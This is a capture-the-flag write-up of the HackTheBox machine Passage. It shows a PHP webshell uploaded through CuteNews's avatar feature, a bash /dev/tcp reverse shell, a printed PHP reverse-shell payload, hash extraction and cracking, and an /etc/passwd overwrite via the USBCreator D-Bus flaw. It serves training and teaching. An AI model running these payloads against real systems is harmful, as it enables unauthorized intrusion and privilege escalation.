In Passage, I’ll find and exploit CuteNews with a webshell upload. I’ll have to analyze the CuteNews source to figure out how it stores user data in files to find the hash for the next user, which I’ll crack. That user shares an SSH key with the next user on the box. To root, I’ll exploit a bug in USBCreator that allows me to run sudo without knowing the user’s password. In Beyond Root, I’ll dive into the basics of base64 and how to search for strings in large amounts of base64 data.

Box Info

Name Passage Passage
Play on HackTheBox
Release Date 05 Sep 2020
Retire Date 6 Mar 2021
OS Linux Linux
Base Points Medium [30]
Rated Difficulty Rated difficulty for Passage
Radar Graph Radar chart for Passage
First Blood User 00:19:35qtc
First Blood Root 00:32:04Lemming
Creator ChefByzen



nmap found two open TCP ports, SSH (22) and HTTP (80):

root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.80 ( ) at 2020-09-08 15:03 EDT
Nmap scan report for
Host is up (0.019s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 7.79 seconds
root@kali# nmap -p 22,80 -sC -sV -oA scans/nmap-tcpscripts
Starting Nmap 7.80 ( ) at 2020-09-08 15:04 EDT
Nmap scan report for
Host is up (0.015s latency).

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.84 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 16.04 Xenial.

Website - TCP 80


The site is a list of blog posts, but all but the most recent one are just Lorem Ipsum text:

The top post talks about how they’ve implemented Fail2Ban, which is a good hint to not brute force anything, so I’ll skip gobuster here:

Due to unusually large amounts of traffic, we have implemented Fail2Ban on our website. Let it be known that excessive access to our server will be met with a two minute ban on your IP Address. While we do not wish to lock out our legitimate users, this decision is necessary in order to ensure a safe viewing experience. Please proceed with caution as you browse through our extensive news selection.

There are five users on the site:

  • admin - nadav@passage.htb
  • Paul Coles - paul@passage.htb
  • Kim Swift -
  • Sid Meier -
  • James -

I’ll add passage.htb to /etc/hosts.


The RSS link on the right side leads to, which returns the XML RSS feed:


Removing rss.php from the URL leads to the login page:


It also presents a version for CuteNews - 2.1.2.

The Register button is live, and leads to a form to create an account:


I can create an account and it takes me to the profile page:


Shell as www-data

CuteNews Exploits

Running searchsploit cutenews returns a ton, so I re-searched limiting it to the known version:

root@kali# searchsploit cutenews 2.1
---------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                        |  Path
---------------------------------------------------------------------- ---------------------------------
CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit)          | php/remote/46698.rb
CuteNews 2.1.2 - Arbitrary File Deletion                              | php/webapps/48447.txt
CuteNews 2.1.2 - Authenticated Arbitrary File Upload                  | php/webapps/48458.txt
---------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

I don’t really care about file deletion. It looks like the first and third one are the similar.

Opening the MSF exploit with searchsploit -x php/remote/46698.rb, the description reads:

This module exploits a command execution vulnerability in CuteNews prior to 2.1.2. The attacker can infiltrate the server through the avatar upload process in the profile area. There is no realistic control of the $imgsize function in “/core/modules/dashboard.php” Header content of the file can be changed and the control can be bypassed. We can use the “GIF” header for this process. An ordinary user is enough to exploit the vulnerability. No need for admin user. The module creates a file for you and allows RCE.

Scrolling through the code, there are a couple functions that jump out. exec:

  def exec
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "uploads","avatar_#{datastore['USERNAME']}_#{@shell}") # shell url

And upload_shell:

  def upload_shell(cookie, check)

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "index.php?mod=main&opt=personal"),
      'cookie'   => cookie

    signkey = res.body.split('__signature_key" value="')[1].split('"')[0]
    signdsi = res.body.split('__signature_dsi" value="')[1].split('"')[0]
    # data preparation
    fname = Rex::Text.rand_text_alpha_lower(8) + ".php"
    @shell = "#{fname}"
    pdata =
    pdata.add_part('main', nil, nil, 'form-data; name="mod"')

The url for upload_shell is /CuteNews/index.php?mod=main&opt=personal. It looks like it’s just uploading a new Avatar with a .php extension and a webshell in it. Then exec triggers that by visiting the avatar URL.

Upload Webshell

Visiting index.php?mod=main&opt=personal, it gives a page for changing personal options:


Towards the bottom there’s an avatar upload. If I try to upload PHP code like a simple webshell named cmd.php, the site throws an error right away, without sending any request to Passage. This is local JavaScript validation of the filename.

If I just upload an actual image, it works:


I’ll add a webshell as a comment to that file using exiftool:

root@kali:/opt/shells/php# exiftool -Comment='<?php echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; ?>' avatar.png 
    1 image files updated

I’ll upload that modified file, still with a .png extension, but this time with Burp proxy intercepting. Once it intercepts the request, I’ll change the filename from avatar.png to avatar.php:

image-20200908160843299Click for full size image

I’ll forward that packet and turn intercept back off, and the upload seems to work. Client-side validation is a nice user experience enhancement, but it isn’t a security mechanism.

The avatar is now broken:


If I right click and select “View Image”, the full url is: http://passage.htb/CuteNews/uploads/avatar_0xdf_avatar.php (which matches the url from the Metasploit exploit). I can visit that url with ?cmd=id on the end, and the server processes the image as PHP, running the comment:



Now to get a real shell, I’ll visit: http://passage.htb/CuteNews/uploads/avatar_0xdf_avatar.php?cmd=bash -c 'bash -i >& /dev/tcp/ 0>&1'. The shell returns at a nc listener:

root@kali# nc -lnvp 443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
bash: cannot set terminal process group (1682): Inappropriate ioctl for device
bash: no job control in this shell

Shell as paul

Enumeration in /uploads

Right away I notice that there’s two other uploads in the directory with mine:

www-data@passage:/var/www/html/CuteNews/uploads$ ls -l 
total 20
-rw-r--r-- 1 www-data www-data 12076 Sep  8 13:11 avatar_0xdf_avatar.php
-rw-r--r-- 1 www-data www-data  1115 Aug 31 13:48 avatar_egre55_ykxnacpt.php
-rw-r--r-- 1 www-data www-data  1116 Aug 31 14:55 avatar_hacker_jpyoyskt.php

The dates are old, so they must be a part of the box image. Beyond that, both are PHP files, not images, and both are reverse shells. For example, avatar_egre55_ykxnacpt.php:

/*<?php /**/ error_reporting(0); $ip = ''; $port = 443; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

So these two users of CuteNews also tried to hack the site? Or these could just be testing artifacts. I’ll look more into these users.

Storage - Not a DB

I wanted to look more at the database, but looking at the GitHub for Cute News, on the front page one of the selling points is:


To figure out how CuteNews stores user data, I’ll start with the POST request to register:

POST /CuteNews/index.php?register HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
Connection: close
Cookie: CUTENEWS_SESSION=620744kp29jripj8k27cqj3gt2
Upgrade-Insecure-Requests: 1


I figured I should be able to find where that is handled, and then see what gets stored. As that POST goes to index.php, I started there. It’s super short:


 * @Developer CuteNews
 * @Copyrights Copyright (с)  2012-2013 Cutenews Team
 * @Type Bootstrap

define('AREA', "ADMIN");
include dirname(__FILE__).'/core/init.php';


if (cn_login()) {
    hook('index/invoke_module', array($_module) );
} else {

Seems like I need to find cn_registry_form(). To pivot through the source on GitHub I’ll use the search box at the top left of the page:


Searching for cn_registry_form yielded two results:


The second one is where the function is defined. After Ctrl-f and a bit of scrolling around, I found this at line 3432:

db_user_add($regusername, $acl_groupid_default);
db_user_update($regusername, "email=$regemail", "name=$regusername", "nick=$regnickname", "pass=$pass", "acl=$acl_groupid_default");

Both of those seem to interact with the “DB”, but the second has a bunch of information to store, so I’ll go with that. Back to the search bar with “db_user_update”, which looks to be defined in core/db/coreflat.php at line 229:


38 lines later:

// Save DB
cn_fsave($fn, $cu);

I can guess that function is saving the data to the file $fn (likely file name). At line 241 it sets $fn:

$fn =SERVDIR. path_construct( 'cdata','users',substr(md5($username), 0, 2).'.php');

So the users data is stored in /cdata/users/[first two characters of the md5 of the username].php.


Back on Passage, that directory contains quite a few users:

www-data@passage:/var/www/html/CuteNews/cdata/users$ ls
09.php  16.php  32.php  52.php  66.php  77.php  8f.php  b0.php  c9.php  d5.php  fc.php  users.txt
0a.php  21.php  46.php  5d.php  6e.php  7a.php  97.php  c8.php  d4.php  d6.php  lines

My user should be stored in 46.php:

root@kali# echo -n 0xdf | md5sum
465e929fc1e0853025faad58fc8cb47d  -

That file contains some PHP that will prevent the data after it from printing, and then a single base64-encoded line:

www-data@passage:/var/www/html/CuteNews/cdata/users$ cat 46.php 
<?php die('Direct call - access denied'); ?>

When I decode it, this looks like serialized PHP data:

root@kali# echo "YToxOntzOjQ6Im5hbWUiO2E6MTp7czo0OiIweGRmIjthOjk6e3M6MjoiaWQiO3M6MTA6IjE1OTk1OTQ1MTgiO3M6NDoibmFtZSI7czo0OiIweGRmIjtzOjM6ImFjbCI7czoxOiI0IjtzOjU6ImVtYWlsIjtzOjEzOiIweGRmQDB4ZGYuY29tIjtzOjQ6Im5pY2siO3M6NDoiMHhkZiI7czo0OiJwYXNzIjtzOjY0OiJmM2I5ZjU4NTE4ZjJiMjEyNDY3YThhYjUxNzRmMTMyNGQ4Y2JkZmNiYjkwMjhiMTYzNjA1MTA1Zjg1OTc5MTQ2IjtzOjQ6Im1vcmUiO3M6NjA6IllUb3lPbnR6T2pRNkluTnBkR1VpTzNNNk1Eb2lJanR6T2pVNkltRmliM1YwSWp0ek9qQTZJaUk3ZlE9PSI7czo2OiJhdmF0YXIiO3M6MjI6ImF2YXRhcl8weGRmX2F2YXRhci5waHAiO3M6NjoiZS1oaWRlIjtzOjA6IiI7fX19" | base64 -d

I’m immediately drawn to the pass field, which is 64 bytes long:


That’s likely a SHA-256 hash. I can test with the password I set, and it matches:

root@kali# echo -n "0xdf" | sha256sum 
f3b9f58518f2b212467a8ab5174f1324d8cbdfcbb9028b163605105f85979146  -

Find Hashes

Pull From Files

There’s not that many files in this directory. I’ll just cat each file, removing any lines with php die and empty lines (grep .), and then read the lines one at a time, base64-decoding them, and adding a newline for readability:

www-data@passage:/var/www/html/CuteNews/cdata/users$ for f in *; do cat $f | grep -v 'php die'; echo; done | grep . | while read line; do echo $line | base64 -d; echo; done 

I can do even better and then grep for pass to just get the lines with a password (as there are a bunch of entries that don’t contain it):

www-data@passage:/var/www/html/CuteNews/cdata/users$ for f in *; do cat $f | grep -v 'php die'; echo; done | grep . | while read line; do echo $line | base64 -d; echo; done | grep '"pass"'            
a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";s:10:"1592483281";s:4:"name";s:9:"sid-meier";s:3:"acl";s:1:"3";s:5:"email";s:15:"";s:4:"nick";s:9:"Sid Meier";s:4:"pass";s:64:"4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88";s:3:"lts";s:10:"1592485645";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}
a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}
a:1:{s:4:"name";a:1:{s:9:"kim-swift";a:9:{s:2:"id";s:10:"1592483309";s:4:"name";s:9:"kim-swift";s:3:"acl";s:1:"3";s:5:"email";s:15:"";s:4:"nick";s:9:"Kim Swift";s:4:"pass";s:64:"f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca";s:3:"lts";s:10:"1592487096";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"3";}}}
a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";s:10:"1592483281";s:4:"name";s:9:"sid-meier";s:3:"acl";s:1:"3";s:5:"email";s:15:"";s:4:"nick";s:9:"Sid Meier";s:4:"pass";s:64:"4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88";s:3:"lts";s:10:"1592485645";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}
a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}
a:1:{s:4:"name";a:1:{s:9:"kim-swift";a:9:{s:2:"id";s:10:"1592483309";s:4:"name";s:9:"kim-swift";s:3:"acl";s:1:"3";s:5:"email";s:15:"";s:4:"nick";s:9:"Kim Swift";s:4:"pass";s:64:"f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca";s:3:"lts";s:10:"1592487096";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"3";}}}

These are PHP serialized objects, so I could read it in with PHP, but some manual cleanup with vim or grep will also do it (I’ll show a one-liner in the next section):


This reminded me of searching for things in base64-encoded data, and while it wasn’t at all necessary here, I’ll play with that in Beyond Root.


In the users folder there’s also a file called lines, which seems to be all of the other files combined together. I can pull the hashes out of it:

www-data@passage:/var/www/html/CuteNews/cdata/users$ cat lines | grep -v "php die" | while read line; do echo $line | base64 -d; done
a:1:{s:5:"email";a:1:{s:16:"paul@passage.htb";s:10:"paul-coles";}}a:1:{s:2:"id";a:1:{i:1598829833;s:6:"egre55";}}a:1:{s:5:"email";a:1:{s:15:"";s:6:"egre55";}}a:1:{s:4:"name";a:1:{s:5:"admin";a:8:{s:2:"id";s:10:"1592483047";s:4:"name";s:5:"admin";s:3:"acl";s:1:"1";s:5:"email";s:17:"nadav@passage.htb";s:4:"pass";s:64:"7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1";s:3:"lts";s:10:"1592487988";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483281;s:9:"sid-meier";}}a:1:{s:5:"email";a:1:{s:17:"nadav@passage.htb";s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"";s:9:"kim-swift";}}a:1:{s:2:"id";a:1:{i:1592483236;s:10:"paul-coles";}}a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";s:10:"1592483281";s:4:"name";s:9:"sid-meier";s:3:"acl";s:1:"3";s:5:"email";s:15:"";s:4:"nick";s:9:"Sid Meier";s:4:"pass";s:64:"4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88";s:3:"lts";s:10:"1592485645";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483047;s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"";s:9:"sid-meier";}}a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:4:"name";a:1:{s:9:"kim-swift";a:9:{s:2:"id";s:10:"1592483309";s:4:"name";s:9:"kim-swift";s:3:"acl";s:1:"3";s:5:"email";s:15:"";s:4:"nick";s:9:"Kim Swift";s:4:"pass";s:64:"f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca";s:3:"lts";s:10:"1592487096";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"3";}}}a:1:{s:4:"name";a:1:{s:6:"egre55";a:11:{s:2:"id";s:10:"1598829833";s:4:"name";s:6:"egre55";s:3:"acl";s:1:"4";s:5:"email";s:15:"";s:4:"nick";s:6:"egre55";s:4:"pass";s:64:"4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc";s:4:"more";s:60:"YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:3:"lts";s:10:"1598834079";s:3:"ban";s:1:"0";s:6:"avatar";s:26:"avatar_egre55_spwvgujw.php";s:6:"e-hide";s:0:"";}}}a:1:{s:2:"id";a:1:{i:1592483309;s:9:"kim-swift";}}

But dangerously, Ippsec pointed out to me that file is available from the internet over the webserver:


I can use this one liner to get the lines file and pull emails and hashes from it:

oxdf@parrot$ curl -s http://passage.htb/CuteNews/cdata/users/lines | grep -v "php die" | while read line; do decode=$(echo $line | base64 -d); email=$(echo $decode | grep -Po '\w+@\w+\.\w+'); hash=$(echo $decode | grep -Po '\w{64}'); if [ -n "$hash" ]; then echo "$email:$hash"; fi; done

The command breaks down to looping over each line, decoding it, using regex grep to pull the email and hash, and then printing the result if there’s a hash. Here is it with whitespace added for readability:

curl -s http://passage.htb/CuteNews/cdata/users/lines | grep -v "php die" | 
while read line; do 
  decode=$(echo $line | base64 -d); 
  email=$(echo $decode | grep -Po '\w+@\w+\.\w+'); 
  hash=$(echo $decode | grep -Po '\w{64}'); 
  if [ -n "$hash" ]; then 
    echo "$email:$hash"; 


Over to my modified Penglab notebook, I’ll set the hashes and run:


The result is:

paul-coles: atlanta1
hacker: hacker


As paul is a user on the box, I tried su, and it worked:

www-data@passage:/home$ su - paul 

I can grab user.txt:

paul@passage:~$ cat user.txt

I tried to SSH as paul, but it requires key auth:

root@kali# ssh paul@
paul@ Permission denied (publickey).

There is a key pair in /home/paul/.ssh, and the public key is already in authorized_keys:

paul@passage:~/.ssh$ ls   
authorized_keys  id_rsa  known_hosts
paul@passage:~/.ssh$ md5sum authorized_keys 
4d241ebb1fef1452f7653b55d625ffbc  authorized_keys

With that private key, I can SSH as paul:

root@kali# ssh -i ~/keys/id_rsa_passage_paul paul@

Shell as nadav


While looking to solidify my access as paul, I found the key pair in .ssh. One thing was odd about the public key:

paul@passage:~/.ssh$ cat 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage

The user at the end is nadav@passage. Is this actually nadav’s key, or a shared key?

SSH as nadav

The key works for nadav as well:

root@kali# ssh -i ~/keys/id_rsa_passage_paul nadav@
Last login: Tue Sep  8 20:01:06 2020 from

Shell as root


nadav is in some interesting groups, including sudo:

nadav@passage:~$ id
uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

Unfortunately, to run sudo as nadav requires knowing the account password:

nadav@passage:~$ sudo -l
[sudo] password for nadav: 
nadav@passage:~$ sudo su
[sudo] password for nadav:

In looking in nadav’s home directory, there’s a .viminfo file. While typically .bash_history files are set to not record on HTB machines, it seems that .viminfo is being used as a clue more and more lately. This contains information about how vim interacted with files:

# This viminfo file was generated by Vim 7.4.
# You may edit it if you're careful!

# Value of 'encoding' when this file was written

# hlsearch on (H) or off (h):
# Last Substitute Search Pattern:

# Last Substitute String:

# Command Line History (newest to oldest):

# Search String History (newest to oldest):
? AdminIdentities=unix-group:root

# Expression History (newest to oldest):

# Input Line History (newest to oldest):

# Input Line History (newest to oldest):

# Registers:

# File marks:
'0  12  7  /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
'1  2  0  /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf

# Jumplist (newest first):
-'  12  7  /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
-'  1  0  /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
-'  2  0  /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
-'  1  0  /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
-'  2  0  /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
-'  1  0  /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf

# History of marks within files (newest to oldest):

> /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
        "       12      7

> /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
        "       2       0
        .       2       0
        +       2       0

I don’t get too much out of this, other than two file names that nadav has been messing with:

nadav@passage:~$ ls -l /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf  /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf 
-rw-r--r-- 1 root root 766 Apr 29  2015 /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
-rw-r--r-- 1 root root  65 Jan 15  2019 /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf

Both are owned by root, and at this point, only writable by root.

Vulnerability Enumeration


The 51-ubuntu-admin.conf file is part of Polkit (formerly PolicyKit), which provides an API interface for non-privileged processes to communicate with privileged ones. Whenever a Linux system pops a GUI box asking for authentication to do something like update, that’s backed by Polkit.

The file itself defines groups that can invoke privileged processes (with a password):

nadav@passage:~$ cat /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf

sudo and admin are standard groups for this kind of permission.

I looked at abusing Polkit in my post on additional root’s for Mischief, where I showed how to use pkexec and pkttyagent to get a shell as root. In that case, I actually had the root password, but the user wasn’t allowed to run su, so I needed to find another way.

That approach would work here if I had nadav’s password, which I don’t (and if I did, I could just sudo).


A blog post from Palo Alto’s Unit42 from July 2019 shows a flaw they found in the USBCreator D-Bus interface which:

Allows an attacker with access to a user in the sudoer group to bypass the password security policy imposed by the sudo program. The vulnerability allows an attacker to overwrite arbitrary files with arbitrary content, as root – without supplying a password. This trivially leads to elevated privileges, for instance, by overwriting the shadow file and setting a password for root.

D-Bus is a messaging system that is a core system on many Linux systems, allowing for communications between processes running on the same system. This vulnerability is in how this process, interface mistakenly allows for an attacker to trigger it to do something unintended, arbitrary write as root.

File Read

Exploiting this bug is quite simple. It requires a shell as someone in the sudo group (or really, any group defined as permitted by Polkit). If I had nadav’s password, I could likely just sudo su - and get a shell, but I don’t.

I’ll use this bug to copy root.txt to a file that doesn’t exist, like /dev/shm/.0xdf:

nadav@passage:~$ ls -la /dev/shm/.0xdf
ls: cannot access '/dev/shm/.0xdf': No such file or directory

Most of the command is copied right out of the blog post. I just change the copy from and two file names:

nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/root.txt /dev/shm/.0xdf true

Now the file exits, is owned by root, but readable, and contains the flag:

nadav@passage:~$ ls -l /dev/shm/.0xdf
-rw-r--r-- 1 root root 33 Sep  9 05:12 /dev/shm/.0xdf
nadav@passage:~$ cat /dev/shm/.0xdf


There’s a bunch of ways I could go for root from here, with both read and write as root. A simple favorite is to mess with /etc/passwd. I’ll make a copy to work from:

nadav@passage:/dev/shm$ cp /etc/passwd passwd

I’ll generate a password hash:

nadav@passage:/dev/shm$ openssl passwd -1 0xdf

Now I can use that to create a passwd line for a new root user, oxdf (Linux usernames can’t start with a digit):

nadav@passage:/dev/shm$ echo 'oxdf:$1$iLayOiAd$8dHGiU.Qvk/uqjnoWzRpm/:0:0:pwned:/root:/bin/bash' >> passwd 

Now I’ll just have USBCreator copy that file back into /etc:

nadav@passage:/dev/shm$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /dev/shm/passwd /etc/passwd true

I can confirm my addition is in the file:

nadav@passage:/dev/shm$ tail -3 /etc/passwd
paul:x:1001:1001:Paul Coles,,,:/home/paul:/bin/bash

Now I can su as oxdf to get a root shell:

nadav@passage:/dev/shm$ su - oxdf
root@passage:~# id
uid=0(root) gid=0(root) groups=0(root)

And I can grab root.txt:

root@passage:~# cat root.txt

Beyond Root - Searching in Base64


Digging through all that base64-encoded data reminded me of an old trick I used to use looking for commands in base64-encoded malware traffic. This is less common today, as attackers have moved to encrypting data in transit. But it’s still a neat trick, and comes in handy when you need to search data with something like Snort or on a local SIEM, but you don’t have the ability to just decode all the data you’re searching through.

Base64 encoding takes six bits at a time, and encodes them into one of 64 ASCII characters (table here). For example, the string “0xdf”. In binary, first spaced by byte, then re-spaced for base64, and then translated according to the table:

00110000 01111000 01100100 01100110
001100 000111 100001 100100 011001 10
M      H      h      k      Z      ?

When the number of bits isn’t divisible by six, 0s are applied to fill, and then a = is added to the end of the encoded string for each 00 as a signal to remove them on decoding:

001100 000111 100001 100100 011001 100000
M      H      h      k      Z      g = =

This matches what comes from the base64 command:

$ echo -n "0xdf" | base64


With that understanding in mind, how can I search for a string like “password” in a large blob of base64 data without decoding it? Because three bytes of ASCII exactly encodes to four bytes of base64, when looking for a string, it can show up encoded in three possible forms. For example:

$ echo -n "0xdf" | base64
$ echo -n "a0xdf" | base64
$ echo -n "ab0xdf" | base64
$ echo -n "abc0xdf" | base64

The “0xdf” in the first and forth examples shows up the same, as MHhkZg==. If there’s more after the “0xdf”, it will change the end that was zero padded:

$ echo -n "abc0xdf" | base64
$ echo -n "abc0xdfa" | base64
$ echo -n "abc0xdfab" | base64

But the MHhkZ is consistent.


Cyberchef has a recipe for this called Show Base64 offsets. With paul as input, the output is:


Using those search terms, to find the string “paul” in the user data, I can grep across all the files with:

  • -l - only list file name, not content
  • -R - recursive
  • -e - return a successful match on finding any of these.

Four files are identified:

www-data@passage:/var/www/html/CuteNews/cdata/users$ grep -lR -e cGF1b -e BhdW -e wYXVs

Now I can look in those to find paul’s hash:

www-data@passage:/var/www/html/CuteNews/cdata/users$ cat b0.php | grep -v die | base64 -d
a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}